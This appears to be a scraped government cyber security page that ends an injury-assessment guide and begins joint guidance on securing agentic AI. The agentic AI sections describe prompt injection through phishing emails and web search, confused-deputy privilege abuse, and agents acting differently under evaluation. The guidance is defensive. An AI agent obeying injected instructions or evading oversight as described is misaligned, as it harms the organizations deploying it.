relate to the interests served by their programs, services, and activities.</p> <div class="table-responsive"> <table class="table table-bordered"><caption class="text-center" id="tab3">Table 3: Examples of injury types and levels</caption> <thead><tr class="active"><th class="text-center" scope="col">Injury type</th> <th class="text-center" scope="col">Very low injury level</th> <th class="text-center" scope="col">Low injury level</th> <th class="text-center" scope="col">Medium injury level</th> <th class="text-center" scope="col">High injury level</th> <th class="text-center" scope="col">Very high injury level</th> </tr></thead><tbody><tr><th scope="row"><strong>Protest against the organization</strong></th> <td>No reasonable or negligible expectation of injury</td> <td>Civil disobedience, public obstructions</td> <td>Riot</td> <td>Destruction of property assets</td> <td>Not applicable</td> </tr><tr><th scope="row"><strong>Physical harm to people</strong></th> <td>No reasonable or negligible expectation of injury</td> <td>Physical discomfort</td> <td>Physical pain, injury, trauma, hardship, illness</td> <td>Physical disability, loss of life</td> <td>Widespread loss of life</td> </tr><tr><th scope="row"><strong>Psychological harm to people</strong></th> <td>No reasonable or negligible expectation of injury</td> <td>Stress</td> <td>Psychological distress</td> <td>Mental health disorder</td> <td>Widespread or severe mental health harm</td> </tr><tr><th scope="row"><strong>Financial loss to individuals</strong></th> <td>No reasonable or negligible expectation of injury</td> <td>Stress or discomfort</td> <td>Reduced quality of life</td> <td>Loss of financial security</td> <td>Not applicable</td> </tr><tr><th scope="row"><strong>Financial loss to the organization</strong></th> <td>No reasonable<br /> or negligible expectation of injury</td> <td>Reduced performance</td> <td>Reduced competitiveness</td> <td>Loss of viability</td> <td>Bankruptcy</td> </tr><tr><th scope="row"><strong>Legal/regulatory actions against the organization</strong></th> <td>No legal or regulatory actions expected<br /> Warning notices</td> <td>Small fines<br /> Small redress expenses</td> <td>Moderate fines<br /> Stop work orders<br /> Moderate redress expenses</td> <td>Significant fines<br /> Temporary licence revocation<br /> Limitations on activities<br /> Significant redress expenses</td> <td>Severe fines<br /> Permanent licence revocation<br /> Cessation order</td> </tr><tr><th scope="row"><strong>Civil actions</strong></th> <td>No reasonable or negligible expectation of liability<br /> Settlement with client for a nominal amount</td> <td>Minimal liability<br /> Out-of-court settlement</td> <td>Moderate liability<br /> Compensation</td> <td>Significant liability<br /> High-profile lawsuit<br /> Significant financial settlements</td> <td>Severe liability<br /> Class-action lawsuit<br /> Severe financial penalties<br /> Loss of clients’ trust</td> </tr><tr><th scope="row"><strong>Reputational harm</strong></th> <td>No reasonable or negligible expectation of injury</td> <td>Minimal reputational impact<br /> Minimal reputational management costs<br /> Limited negative media or social media coverage</td> <td>Moderate reputational impact requiring corrective action<br /> Increased costs to maintain and attract clients<br /> Sustained negative media or social media coverage</td> <td>Significant reputational harm requiring immediate corrective action<br /> Significant costs to maintain and attract clients<br /> Widespread or prolonged negative media or social media coverage<br /> Loss of clients expected</td> <td>Severe and potentially irreparable reputational harm<br /> Loss of key clients<br /> Long-term decline in brand reputation</td> </tr></tbody></table></div> <h4>5.3.2 Identify business processes and related information assets</h4> <p>The second step of the injury assessment and categorization process is to identify the business processes and related information assets, including personal information, relevant to the business activity.</p> <p>There are several sources from which to identify and describe business processes and related information assets. Good sources include:</p> <ul><li>business cases</li> <li><abbr title="concept of operations">CONOPS</abbr></li> <li>functional business requirements</li> <li>enterprise architecture documentation which typically describes an organization’s business processes and related information assets</li> <li>discussions or interviews with business analysts and other individuals within related business communities</li> </ul><p>The output of this step is a brief description of the business processes and related information assets of relevance to the business activity.</p> <h4>5.3.3 Assess injuries from threat compromise</h4> <p>The third step of the process is the injury assessment. The objective is to determine the potential injuries from threat compromises for each of the business processes and related information assets identified in the previous step. This is achieved by first determining the injuries that could possibly occur as a result of threat actors compromising the confidentiality, integrity, and availability of the business processes and related information assets, and then attributing appropriate levels to these injuries.</p> <p>Generally, confidentiality, integrity, and availability apply to information assets, while integrity and availability apply to business processes. In the <abbr title="Government of Canada">GC</abbr>, in some exceptional cases where national security or national defence is involved, confidentiality can apply to business processes. In the private sector, those exceptions would usually be related to trade secrets.</p> <p>Injury levels that apply to business activities may already be documented in organizational deliverables such as business impact analyses, <abbr title="privacy impact assessments">PIAs</abbr>, <abbr title="statement of sensitivity">SoS</abbr>, business risk assessments, and <abbr title="threat risk assessments">TRAs</abbr>. It may also be helpful to review regulatory instruments such as laws, policies, and regulations that may apply to specific business processes or information. Non-compliance with regulatory requirements could, under certain circumstances, lead to penalties or sanctions that could increase injury. Organizations can leverage this information when assessing injuries related to a failure of their business activities.</p> <p>When assessing injuries, security practitioners should consider several factors that may influence the results, including aggregation, inference, and interdependency.</p> <h5>5.3.3.1 Aggregation</h5> <p>As the number of assets increases, the injuries arising from compromise may also grow. For example, the unauthorized disclosure of a single personnel file might be expected to cause some embarrassment to the individual and generate public anxiety regarding an organization’s ability to protect personal information. However, if all human resources records for a major organization were released inappropriately, the adverse effects could be significantly worse.</p> <p>From a confidentiality perspective, aggregation has 2 dimensions:</p> <ul><li>increased sensitivity as more data elements are added to a record</li> <li>increased sensitivity as more records are collected in a file or database</li> </ul><p>In each case, the confidentiality value of the whole may be greater than that of the individual parts, based on the increased injury expected in the event of unauthorized disclosure.</p> <p>Aggregation applies equally to availability and integrity values. For example, the destruction of 1 asset, such as a single vehicle, might have clearly defined consequences, whereas the loss of an entire fleet would be much more serious. Unauthorized modification of a single record or complete corruption of a large database would be the integrity equivalent.</p> <h5>5.3.3.2 Inference</h5> <p>By its very nature, inference applies only to confidentiality, where access to seemingly innocuous data of little or no sensitivity may allow a knowledgeable individual to draw much more damaging conclusions regarding another organization’s capabilities or intentions. For example, studying personnel movements to identify the qualifications and affiliations of executives and other employees selected for different positions may provide useful indicators of future policy platforms or business plans.</p> <p>Unfortunately, the relationships among various data and data sources may be very subtle, even tenuous, so opportunities for inference are generally far more difficult to identify and assess. From a practical point of view, inference must be assessed cautiously because complex scenarios can exaggerate the risk and lead to needless overclassification. The inference scenarios of concern are the ones where aggregations in a non-national security system lead to national security injuries.</p> <h5>5.3.3.3 Interdependency</h5> <p>Due to interdependencies, the loss or degradation of 1 business process and its associated information may impact other processes and related information. The purpose of analyzing interdependencies is to determine if there is a likelihood of a high cascading effect on other processes and information resulting from the compromise of a business process or information.</p> <p>Similar to the problem of aggregation, the injury that would result from the cascading loss of 1 element may be greater than the injury level assigned to any of the independent elements. Types of interdependencies include:</p> <ul><li>physical (for example, material output of an infrastructure used by another)</li> <li>geographic (for example, a common corridor)</li> <li>logical (for example, dependency through financial markets)</li> </ul><p>The output of this step is a list of expected injuries and injury levels for confidentiality, integrity, and availability by business process and related information assets.</p> <div class="panel panel-info"> <header class="panel-heading"><h3 class="panel-title"><abbr title="Government of Canada">GC</abbr>-specific note</h3> </header><div class="panel-body"> <p>For consistency within and across departments, security and privacy practitioners should adopt a common categorization marking scheme. As a guideline, it is recommended that injury categories be expressed using the following marking format:</p> <ul><li>Confidentiality: Protected/Classified Level</li> <li>Integrity: Very low/Low/Medium/High/Very high</li> <li>Availability: Very low/Low/Medium/High/Very high</li> </ul><p>For example: Protected B, Medium, Medium (PBMM)</p> </div> </div> <h4>5.3.4 Determine injury category of each business activity</h4> <p>The fourth step in the injury assessment and categorization process is to determine the injury category of each business activity.</p> <p>In normal circumstances, the injury category of a business activity should express the highest levels of injury of all related business processes and information assets for each of the security objectives. Individually, these elements may be attributed different levels of injury for a given protection objective. For example, a business activity may involve 1 type of information with an assessed injury level of low for confidentiality and another type of information with an assessed injury level of medium for the same security objective (both for non-national interest). These individual values are important and should be documented. However, the injury category of the business activity should reflect the highest level of injury. For the preceding example, the business activity’s confidentiality level would be marked as "Medium".</p> <p>Notwithstanding, there may be circumstances where more analysis is required to determine the most appropriate injury category. For example, security and privacy practitioners may attribute a higher level than the "High" benchmark because of the aggregate effects of threat compromise, or an interdependency involving a critical process outside of a business activity’s boundary.</p> <p>The output of this step is the injury category of each business activity, which can be expressed using the same categorization marking format as for individual business processes and information.</p> <h4>5.3.5 Prepare injury categorization report</h4> <p>The final step of the injury assessment and categorization process is to prepare the injury categorization report.</p> <p>Security and privacy practitioners should summarize in a report the results of the injury assessment for reporting purposes and to serve as input to the organizational security and privacy control and activity profile development. For each business process and related information, the injury categorization report should include:</p> <ul><li>a short description of the business process and related information asset(s)</li> <li>a description of the expected injuries from threat compromise</li> <li>the levels of expected injury as they relate to the loss of confidentiality, integrity, and availability</li> <li>the rationale for attributing the levels of injury</li> </ul><h3 id="5.4">5.4 Examples</h3> <p>A spreadsheet with simple examples that help illustrate the injury assessment and categorization process for business activities is available. To request a copy of this spreadsheet, <a href="/en/contact-cyber-centre">contact the Contact Centre</a>.</p> </section><!–** TOP OF PAGE ******–><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h2 class="text-info" id="ann.a">Government of Canada injury levels conversion</h2> <p>Other injury assessment frameworks may use a "3-level" scale of Low, Medium, and High instead of the 5-level scale presented in this publication. Where this is the case, departments can use the scale conversions specified in <a href="#tab4">Table 4</a>, <a href="#tab5">Table 5</a> and <a href="#tab6">Table 6</a> to convert injury levels from their 3- or 4-level scale to the 5-level scale outlined in ITSP.10.036.</p> <p>In conversion <a href="#tab6">Table 6</a>, the "Low" category from the 3-level injury scale may correspond to either "Very low" or "Low" on the 5-level scale, while "High" may map to either "High" or "Very high". To ensure appropriate categorization, it is recommended to re-evaluate the injury assessment using the 5-level scale directly, considering the specific context and desired level of granularity.</p> <div class="table-responsive"> <table class="table table-bordered"><caption class="text-center" id="tab4">Table 4: Confidentiality – Non-national interest (Protected)</caption> <thead><tr class="active"><th class="text-center" scope="col">4-level scale value</th> <th class="text-center" scope="col">5-level scale value</th> </tr></thead><tbody><tr><td>No expected injury – Unclassified</td> <td>Very low</td> </tr><tr><td>Low – Protected A</td> <td>Low</td> </tr><tr><td>Medium – Protected B</td> <td>Medium</td> </tr><tr><td>High – Protected C</td> <td>High</td> </tr><tr><td>Not applicable</td> <td>Very high</td> </tr></tbody></table></div> <div class="clearfix"> </div> <div class="table-responsive"> <table class="table table-bordered"><caption class="text-center" id="tab5">Table 5: Confidentiality – National interest (Classified)</caption> <thead><tr class="active"><th class="text-center" scope="col">4-level scale value</th> <th class="text-center" scope="col">5-level scale value</th> </tr></thead><tbody><tr><td>No expected injury – Unclassified</td> <td>Very low</td> </tr><tr><td>Not applicable</td> <td>Low</td> </tr><tr><td>Low – Confidential</td> <td>Medium</td> </tr><tr><td>Medium – Secret</td> <td>High</td> </tr><tr><td>High – Top Secret</td> <td>Very high</td> </tr></tbody></table></div> <div class="clearfix"> </div> <div class="table-responsive"> <table class="table table-bordered"><caption class="text-center" id="tab6">Table 6: Integrity and availability</caption> <thead><tr class="active"><th class="text-center" scope="col">4-level scale value</th> <th class="text-center" scope="col">5-level scale value</th> </tr></thead><tbody><tr><td>No injury expected<br /> Low</td> <td>Very low</td> </tr><tr><td>Low</td> <td>Low</td> </tr><tr><td>Medium</td> <td>Medium</td> </tr><tr><td>High</td> <td>High</td> </tr><tr><td>High</td> <td>Very high</td> </tr></tbody></table></div> <div class="clearfix"> </div> <!–FOOTNOTE SECTION EN–> <aside class="wb-fnote" role="note"><h2 id="reference">References</h2> <dl><dt>Footnote 1</dt> <dd id="fn1"> <p>Departments as defined in section 2 and entities included in Schedules IV and V of the <a href="https://laws.justice.gc.ca/eng/acts/F-11/index.html"><em>Financial Administration Act</em></a>, unless excluded by specific acts, regulations or orders in council.</p> <p class="fn-rtn"><a href="#fn1-rf"><span class="wb-inv">Return to footnote</span>1<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 2</dt> <dd id="fn2"> <p>Personal information is defined in Section 3 of the <em>Privacy Act</em> as information about an identifiable individual, recorded in any manner.</p> <p class="fn-rtn"><a href="#fn2-rf"><span class="wb-inv">Return to footnote</span>2<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 3</dt> <dd id="fn3"> <p>An organizational threat assessment is an ongoing process that also supports the system cyber security and privacy risk management activities. For more details, read System lifecycle cyber security and privacy risk management activities (ITSP.10.037).</p> <p class="fn-rtn"><a href="#fn3-rf"><span class="wb-inv">Return to footnote</span>3<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 4</dt> <dd id="fn4"> <p>Designated provider of <abbr title="Government of Canada">GC</abbr> shared services.</p> <p class="fn-rtn"><a href="#fn4-rf"><span class="wb-inv">Return to footnote</span>4<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 5</dt> <dd id="fn5"> <p>Continuous assessment does not necessarily mean real-time assessment. Some assessment activities, such as log event review, can be performed automatically in real time, while other assessment activities, such as the review of system backup procedures, would usually be done manually on a pre-established schedule.</p> <p class="fn-rtn"><a href="#fn5-rf"><span class="wb-inv">Return to footnote</span>5<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 6</dt> <dd id="fn6"> <p>National interests: The security and the social, political, and economic stability of Canada.</p> <p class="fn-rtn"><a href="#fn6-rf"><span class="wb-inv">Return to footnote</span>6<span class="wb-inv"> referrer</span></a></p> </dd> <dt>Footnote 7</dt> <dd id="fn7"> <p>Non-national interests: The safety, health, and well-being of individuals, and the financial position and reputation of individuals and Canadian companies.</p> <p class="fn-rtn"><a href="#fn7-rf"><span class="wb-inv">Return to footnote</span>7<span class="wb-inv"> referrer</span></a></p> </dd> </dl></aside></div> </div> </div> </div> </div> </article>

<article data-history-node-id="8017" about="/en/guidance/careful-adoption-agentic-ai" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><section><p>Agentic artificial intelligence (AI) systems increasingly operate across critical infrastructure and defence sectors and support mission-critical systems. As agentic <abbr title="artificial intelligence">AI</abbr> systems play a growing operational role, it is crucial for defenders to implement security controls to protect national security and critical infrastructure systems from agentic <abbr title="artificial intelligence">AI</abbr>-specific risks.</p> <p>Agentic <abbr title="artificial intelligence">AI</abbr> can automate repetitive, well-defined and low-risk tasks. However, these additional opportunities come with additional risks. Like other <abbr title="artificial intelligence">AI</abbr> services, agentic <abbr title="artificial intelligence">AI</abbr> can be misused or misappropriated, leading to productivity losses, service disruption, privacy breaches or cyber security incidents. Organizations must therefore anticipate what could go wrong, assess how agentic <abbr title="artificial intelligence">AI</abbr> risk scenarios might affect operations and establish ongoing visibility and assurance to maintain confidence in their agentic <abbr title="artificial intelligence">AI</abbr> investments. Where possible, organizations should also consider a full spectrum of solutions for repetitive tasks, including reducing or eliminating low-value processes, which may be lower risk compared to agentic <abbr title="artificial intelligence">AI</abbr> solutions.</p> <p>The Canadian Centre for Cyber Security (Cyber Centre) joined the following international partners to co-author this publication:</p> <ul><li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li> <li>United States’ Cybersecurity and Infrastructure Security Agency (CISA)</li> <li>United States’ National Security Agency (NSA)</li> <li>New Zealand’s National Cyber Security Centre (NCSC-NZ)</li> <li>United Kingdom’s National Cyber Security Centre (NCSC-UK)</li> </ul><p>Throughout this publication, these organizations are referred to as the authoring agencies. The guidance below discusses key cyber security challenges and risks associated with the introduction of agentic <abbr title="artificial intelligence">AI</abbr> into information technology (IT) environments, as well as best practices for securing agentic <abbr title="artificial intelligence">AI</abbr> systems.</p> <p>The authoring agencies strongly recommend aligning agentic <abbr title="artificial intelligence">AI</abbr> risks and mitigation strategies with your organization’s existing security model and risk posture. The authoring agencies further recommend adopting agentic <abbr title="artificial intelligence">AI</abbr> cautiously by carefully assessing its use and never granting it broad or unrestricted access, especially to sensitive data or critical systems. Additionally, organizations should only use agentic <abbr title="artificial intelligence">AI</abbr> for low-risk and non-sensitive tasks.</p> </section><section><details class="mrgn-tp-md"><summary><h2 class="h3">Table of contents</h2> </summary><ul class="list-unstyled"><li><a href="#Scope">Scope and audience</a></li> <li><a href="#Agentic-ai">Agentic AI explained</a> <ul><li><a href="#fig1">Figure 1: Agentic AI system diagram</a></li> <li><a href="#Gen-agentic">Difference between agentic and generative AI</a></li> </ul></li> <li><a href="#Broader-considerations">Broader agentic AI security considerations</a> <ul><li><a href="#Inherited-risks">Inherited risks of large language models </a></li> <li><a href="#Increased-attack">Increased attack surface</a></li> <li><a href="#Complexity">Increased complexity</a></li> <li><a href="#Evolving-security">Evolving security as technology matures </a></li> <li><a href="#AI-security">AI security as part of cyber security</a></li> </ul></li> <li><a href="#Security-risks">Agentic AI security risks</a> <ul><li><a href="#Priv-risk">Privilege risks</a></li> <li><a href="#Design-config">Design and configuration risks</a></li> <li><a href="#Behav-risk">Behavioural risks</a></li> <li><a href="#Structural-risk">Structural risks</a></li> <li><a href="#Accountability-risk">Accountability risks</a></li> </ul></li> <li><a href="#Best-practices">Best practices for securing agentic AI systems</a></li> <li><a href="#conclusion">Conclusion</a></li> </ul></details></section><section><h2 id="Scope">Scope and audience</h2> <p>This publication primarily focuses on large language model (LLM)-based agentic <abbr title="artificial intelligence">AI</abbr> systems. It considers threats to and vulnerabilities within agentic <abbr title="artificial intelligence">AI</abbr> systems, as well as risks arising from agentic <abbr title="artificial intelligence">AI</abbr> behaviour. This includes risks introduced through system components, integrations and downstream use.</p> <p>The authoring agencies developed this publication to support government, critical infrastructure and industry stakeholders in understanding the key security challenges and risks posed by agentic <abbr title="artificial intelligence">AI</abbr>. It provides practical guidance to help organizations design, develop, deploy and operate agentic <abbr title="artificial intelligence">AI</abbr> systems and to make informed risk assessments and mitigations. The publication concludes with actionable recommendations to help organizations prepare for and defend against emerging and future agentic <abbr title="artificial intelligence">AI</abbr> threats.</p> </section><section><h2 id="Agentic-ai">Agentic AI explained</h2> <p>Agentic <abbr title="artificial intelligence">AI</abbr> systems are composed of one or more agents that fundamentally rely on an <abbr title="large language model">LLM</abbr> to interpret and reason about the state of the world, make decisions and take actions. Figure 1 shows how agentic <abbr title="artificial intelligence">AI</abbr> systems contain the <abbr title="large language model">LLM</abbr> itself, alongside external tools, external data sources, memory and planning workflows. These components enable the system to perceive its environment and, where applicable, take action to achieve its goals. Compared with traditional <abbr title="large language model">LLM</abbr> systems, agentic <abbr title="artificial intelligence">AI</abbr> systems distinguish themselves by accomplishing underspecified objectives, acting autonomously, following goal-directed behaviours and creating long-term plans.</p> <p>Agentic <abbr title="artificial intelligence">AI</abbr> systems are intended to operate without continuous human intervention. While a human typically designs and configures the system, some agentic <abbr title="artificial intelligence">AI</abbr> systems are also capable of autonomously creating, or spawning, sub-agents to accomplish specific sub-tasks.</p> <p>System design includes defining goals, providing conditions on which to act (called triggers) and making information available to the <abbr title="artificial intelligence">AI</abbr> service. Agents have some key attributes, including:</p> <ul><li>information input, such as user input, operating context and configuration parameters</li> <li>measurable goals identified from user directions, such as “minimize downtime for this server”</li> <li>statistical models, such as LLMs to identify what actions to take</li> <li>action and execution privileges, such as permissions to interact with tools, users, systems and operating environments</li> <li>tool or service access, such as system software and interfaces to take identified actions</li> <li>metrics, such as measurable indicators used by the designer to evaluate operational effectiveness and improve efficiency</li> </ul><div class="panel-body"> <h2 class="text-center h5" id="fig1">Figure 1. Agentic <abbr title="artificial intelligence">AI</abbr> system diagram</h2> <figure><img alt="Figure 1 – Long description immediately follows" class="img-responsive center-block mrgn-bttm-lg" src="/sites/default/files/images/agentic-ai-systems-1000×286.jpg" /></figure><details><summary>Long Description – Figure 1: Agentic AI system diagram</summary><p>Agentic <abbr title="artificial intelligence">AI</abbr> system diagram shows how agentic <abbr title="artificial intelligence">AI</abbr> systems contain the <abbr title="large language model">LLM</abbr> itself, alongside external tools, external data sources, memory and planning workflows. These components enable the system to perceive its environment and, where applicable, take action to achieve its goals. Compared with traditional <abbr title="large language model">LLM</abbr> systems, agentic <abbr title="artificial intelligence">AI</abbr> systems distinguish themselves by accomplishing underspecified objectives, acting autonomously, following goal-directed behaviours and creating long-term plans.</p> </details></div> <div> <h3 id="Gen-agentic">Difference between agentic and generative AI</h3> <p>Generative <abbr title="artificial intelligence">AI</abbr> (GenAI) is a subset of <abbr title="artificial intelligence">AI</abbr> that creates new content based on complex patterns learned from large datasets. <abbr title="Generative AI">GenAI</abbr> is commonly used to generate text, images, audio and video intended for human use or action. In contrast, agentic <abbr title="artificial intelligence">AI</abbr> builds on <abbr title="Generative AI">GenAI</abbr> by integrating with software systems to create autonomous agents that can independently reason, plan and take actions without requiring human intervention.</p> </div> </section><!–** TOP OF PAGE ******–><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2 id="Broader-considerations">Broader agentic AI security considerations</h2> <p>Organizations should review the following considerations when evaluating the broader concerns and risks associated with agentic <abbr title="artificial intelligence">AI</abbr>.</p> <div> <h3 id="Inherited-risks">Inherited risks of large language models</h3> <p>Since the core of agentic <abbr title="artificial intelligence">AI</abbr> is an LLM, agents inherit <abbr title="large language model">LLM</abbr> vulnerabilities. For example, actors could perform prompt injection attacks by including malicious prompts in phishing emails to convince email-monitoring agents to download malware. This underscores a key vulnerability: malicious actors can target agentic <abbr title="artificial intelligence">AI</abbr> systems using existing <abbr title="artificial intelligence">AI</abbr> and cyber attack vectors.</p> </div> <div> <h3 id="Increased-attack">Increased attack surface</h3> <p>Agentic <abbr title="artificial intelligence">AI</abbr> systems rely on a variety of components, including tools, external data sources and memory bases, to interact with their environment and expand their capabilities. Each of these components can introduce vulnerabilities across an interconnected attack surface that malicious actors can exploit. For instance, external data sources such as a web search can insert additional information into the prompt context, enabling indirect prompt injection attacks. With broader access to computing infrastructure, malicious actors may exploit system components to conduct attacks, such as executing malicious scripts or sending unauthorized emails. Consequently, every individual component in an agentic <abbr title="artificial intelligence">AI</abbr> system widens the attack surface, exposing the system to additional avenues of exploitation.</p> </div> <div> <h3 id="Complexity">Increased complexity</h3> <p>Agentic <abbr title="artificial intelligence">AI</abbr> cyber security spans both <abbr title="artificial intelligence">AI</abbr>-specific security and traditional cyber security. Information continuously flows between <abbr title="artificial intelligence">AI</abbr> and non-<abbr title="artificial intelligence">AI</abbr> systems, increasingly blurring defensive boundaries and making it difficult to isolate <abbr title="artificial intelligence">AI</abbr>-related risks from broader cyber threats. Agentic <abbr title="artificial intelligence">AI</abbr> systems are also inherently complex, often involving multiple interconnected components that plan, reason and act across sequential steps. This complexity introduces new systemic risks, including cascading failures and multi-step attacks, where unexpected or compromised behaviour in one component can propagate across subsequent steps and affect the entire system. As a result, defending agentic <abbr title="artificial intelligence">AI</abbr> systems is more challenging than securing traditional digital systems. Organizations should therefore focus on strengthening both established cyber security controls and <abbr title="artificial intelligence">AI</abbr>-specific security practices, adopting holistic lifecycle approaches, continuous monitoring and resilient design principles to manage these emerging risks.</p> <p>For a breakdown of cyber security prerequisites to consider before incorporating <abbr title="artificial intelligence">AI</abbr> agents, refer to <a href="#App-a">Appendix A</a>. <!– create a jump link –></p> </div> <div> <h3 id="Evolving-security">Evolving security as technology matures</h3> <p>As agentic <abbr title="artificial intelligence">AI</abbr> technology matures, the security landscape evolves alongside it, revealing new and increasingly complex risk dynamics. <abbr title="large language model">LLM</abbr>-based agents may change their behaviour when evaluations are underway and may even bypass system-level instructions to achieve their objectives. At the same time, the growing architectural complexity of agentic <abbr title="artificial intelligence">AI</abbr> systems means they are often composed of tightly coupled, interdependent components. This increases the likelihood of system-level failures arising from subtle or previously unnoticed incompatibilities.</p> <p>Gaps in agentic <abbr title="artificial intelligence">AI</abbr> cyber security tooling and the immaturity of relevant standards further amplify these risks. Governance mechanisms designed for human actors do not always translate effectively to autonomous <abbr title="artificial intelligence">AI</abbr> agents. As agentic <abbr title="artificial intelligence">AI</abbr> systems continue to advance in capability and autonomy, the security landscape will continue to shift, introducing new challenges that demand ongoing adaptation of defensive approaches.</p> </div> <div> <h3 id="AI-security">AI security as part of cyber security</h3> <p>Organizations should address <abbr title="artificial intelligence">AI</abbr> security, including agentic <abbr title="artificial intelligence">AI</abbr> systems, within established cyber security frameworks rather than treating it as a separate or standalone discipline. <abbr title="artificial intelligence">AI</abbr> systems are fundamentally <abbr title="information technology">IT</abbr> systems, as they run on software and hardware, operate over networks and interact with other digital services, exposing them to many of the same threats as traditional <abbr title="information technology">IT</abbr>. As organizations embed <abbr title="artificial intelligence">AI</abbr> across business processes and critical infrastructure, the distinction between <abbr title="artificial intelligence">AI</abbr> and non-<abbr title="artificial intelligence">AI</abbr> security risks increasingly disappears.</p> <p>Managing <abbr title="artificial intelligence">AI</abbr>-related risks within existing cyber security frameworks allows organizations to apply proven principles such as secure by design, defence in depth, identity and access management, continuous monitoring and incident response across the full <abbr title="artificial intelligence">AI</abbr> system lifecycle. This approach is especially important for agentic <abbr title="artificial intelligence">AI</abbr> because its autonomy and complexity can amplify conventional cyber risks. By embedding <abbr title="artificial intelligence">AI</abbr> security into existing frameworks, organizations ensure consistent governance of new capabilities, holistic risk assessment and the evolution of security practices in line with technological advances and organizational cyber maturity.</p> </div> </section><!–** TOP OF PAGE ******–><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2 id="Security-risks">Agentic AI security risks</h2> <p>The following section provides guidance on identifying and mitigating the security risks associated with agentic <abbr title="artificial intelligence">AI</abbr>.</p> <div> <h3 id="Priv-risk">Privilege risks</h3> <p>Privilege risks are a key concern for agentic <abbr title="artificial intelligence">AI</abbr> and strict adherence to the principle of least privilege is critical. Privileges assigned to agents directly determine the level of risk they can introduce. Poor management of privileges can expose organizations to privilege compromise, scope creep, identity spoofing and agent impersonation.</p> <div class="panel panel-default"> <header class="panel-heading"><h4 class="mrgn-tp-sm mrgn-bttm-0">Scenario example 1</h4> </header><div class="panel-body"> <p>An organization deploys agentic <abbr title="artificial intelligence">AI</abbr> to manage procurement approvals and vendor communications autonomously. To reduce friction, the organization grants the agent broad access to financial systems, email and contract repositories, evaluating permissions only at initial deployment. Over time, other agents come to rely on the procurement agent’s outputs and implicitly trust its actions. When a malicious actor compromises a low-risk tool integrated into the agent’s workflow, they inherit the agent’s excessive privileges, allowing them to modify contracts and approve payments without triggering alerts. By issuing carefully crafted requests, the malicious actor exploits the agent’s privileges to perform actions a normal user could not.</p> <p>This is an example of a confused deputy pattern, where a trusted agent misused its unauthorized actions. By executing actions under a trusted agent identity, the system produces audit logs that appear legitimate and delay detection. The incident demonstrates how over-privileged agents, implicit trust relationships and weak identity controls can amplify the impact of a single compromise in agentic AI systems.</p> </div> </div> <div> <h4>Privilege compromise and scope creep</h4> <p>Security practitioners should account for privilege compromise and scope creep attacks when deploying agentic AI into new environments. In agentic AI, privilege compromise occurs when an agent gains more access rights than necessary for its function. This can result from misconfigurations, overly broad entitlements or unintended role inheritance, allowing agents to access or modify unauthorized data, delete critical records or escalate privileges of other unauthorized agents.</p> <p>During design, organizations often grant permissions too broadly and overlook these issues. Below are 2 examples of overly broad permissions:</p> <ul><li>a calendar bot with access to all meeting data instead of just the requesting users,</li> <li>an email assistant with write access to any inbox</li> </ul><p>This scope creep can cascade across agents: if Agent A fully trusts Agent B, a compromise of B can affect A and others.</p> <p>Another risk is the confused deputy pattern discussed in the scenario above, where a low-privileged user manipulates a high-privileged agent to perform actions the low-privileged user couldn’t do directly. The authoring agencies recommend organizations implement the best practices for securing agentic AI systems to defend against privilege compromises, as discussed in sections below.</p> </div> </div> <div> <h3>Identity spoofing and agent impersonation</h3> <p>Identity is every bit as important as privilege. A common vector arises when a malicious actor impersonates an agent or hijacks its credentials. Agents authenticate to services and to each another using secret keys or tokens. Malicious actors can steal these secret keys or tokens when organizations keep them static, share them across multiple agents or protect them poorly. A malicious actor operating under a trusted agent identity can invoke sensitive operations while bypassing behavioural guardrails and impersonating legitimate agents or users. The consequences of identity spoofing or agent impersonation are two-fold:</p> <ul><li>actions executed under false identities circumvent audit controls, and</li> <li>detection models tuned to normal behaviour are blind to the identity deception until detectable anomalies surface</li> </ul></div> <div> <h3 id="Design-config">Design and configuration risks</h3> <p>Another set of risks originates from insecure design and provisioning decisions. Unvetted third-party components may carry excessive or unintended privileges when integrated into agent workflows. Static role or permission checks often fail to capture the context of dynamic decision-making flows. If entitlements are evaluated only once at system startup rather than at each invocation, a malicious actor can exploit a stale allow decision to execute unauthorized actions. Poor segmentation between agent environments further exacerbates these risks, allowing a compromise in one enclave to pivot laterally into others. In cases where allow lists are incomplete or outdated, agents may gain access to resources, system calls or commands beyond their intended privilege. Each of these design and configuration choices compounds identity and privilege risks across the system.</p> <div class="panel panel-default"> <header class="panel-heading"><h4 class="mrgn-tp-sm mrgn-bttm-0">Scenario example 2</h4> </header><div class="panel-body"> <p>An organization deploys an agentic AI system that autonomously triages customer support tickets and invokes back-end tools to retrieve account information. The organization integrates a third-party scheduling component without thorough privilege review and grants broad access at start-up. When a malicious actor compromises this component, the agent continues to rely on cached authorization decisions and can invoke sensitive account-management functions that should require per-request verification. Because the agent operates within a poorly segmented environment, the malicious actor is then able to move laterally to adjacent agents handling billing and refunds. The result is unauthorized data access and financial manipulation.</p> <p>This scenario illustrates how insecure design, static permissions and weak segmentation can interact to increase the impact of a single configuration flaw.</p> </div> </div> </div> <!–** TOP OF PAGE ******–> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon 